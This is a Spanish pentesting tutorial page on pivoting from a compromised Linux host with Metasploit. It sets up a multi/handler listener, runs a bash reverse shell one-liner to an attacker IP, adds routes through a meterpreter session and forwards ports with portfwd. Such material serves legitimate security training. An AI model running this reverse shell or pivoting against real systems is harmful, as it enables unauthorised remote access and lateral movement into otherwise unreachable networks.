> For the complete documentation index, see [llms.txt](https://docs.pabloarrabal.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.pabloarrabal.com/pivoting/linux.md).

# Linux

{% hint style="info" %}
El Pivoting solo se podrá hacer si el host tiene más de una interfaz de red (sin contar loopback)
{% endhint %}

Para hacer pivoting en entornos Linux, deberemos explotar la maquina que tiene acceso a ambas redes.

## Metasploit

Una vez tengamos una shell en dicha maquina, nos entablamos una reverse shell desde la maquina victima a la atacante:

```bash
msfconsole

use multi/handler

set LHOST 192.168.1.1

set LPORT 4242

set PAYLOAD linux/x86/meterpreter/reverse_tcp

run
```

Ahora desde la maquina victima, ejecutamos un comando como este:

```bash
/bin/bash -i >& /dev/tcp/192.168.1.1/4242 0>&1
```

Una vez recibimos la sesión de meterpreter, comprobamos que existan varias interfaces de  red, en concreto, una de la red a la que tenemos visibilidad y otra que se conecte a la red que no podemos ver:

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2FEAF9nuMm3Xt1rWYnwhvV%2Fimage.png?alt=media&amp;token=3bc9b659-0012-4152-b247-d80873c3d79f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2FoOkwu0YUMab2o8Hswm6V%2Fimage.png?alt=media&amp;token=74b1d0b9-7080-499a-9308-e343d1ed3754" alt=""><figcaption></figcaption></figure>

Ahora, y para redireccionar el trafico de la interfaz enp0s8 (interfaz conectada a la red que no tenemos visibilidad), podemos la sesión en segundo plano y usamos el siguiente comando:

```bash
route add IP-INTERFAZ-SECUNDARIA MASCARA-DE-RED ID-SESION
```

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2FY2SVL0ou3KKW4k0ORJ6g%2Fimage.png?alt=media&amp;token=5d6a08cd-b986-46f8-9f4d-485c7099563e" alt=""><figcaption></figcaption></figure>

### Port Forwarding

En el port forwarding, lo que hacemos es pasarnos un puerto de la maquina victima a uno local nuestro, por ejemplo, imagina que la maquina victima, tiene el puerto 80 abierto, pues con la ayuda del port forwarding, podríamos pasarnos el puerto 80 de la victima a nuestro puerto 80 en localhost. Para ello, usamos el siguiente comando en metasploit:

```bash
portfwd add -l PUERTO-LOCAL -p PUERTO-VICTIMA -r IP-VICTIMA
```

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2F99bk2Ikgwn3A6Sf0t9aM%2Fimage.png?alt=media&amp;token=f24b1b81-bd8e-495a-8615-6749f70d4187" alt=""><figcaption></figcaption></figure>

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2F0D36G1xCNGB3JnMQUqt5%2Fimage.png?alt=media&amp;token=5efb863d-efb2-43c4-a2e0-a401182bff49" alt=""><figcaption></figcaption></figure>
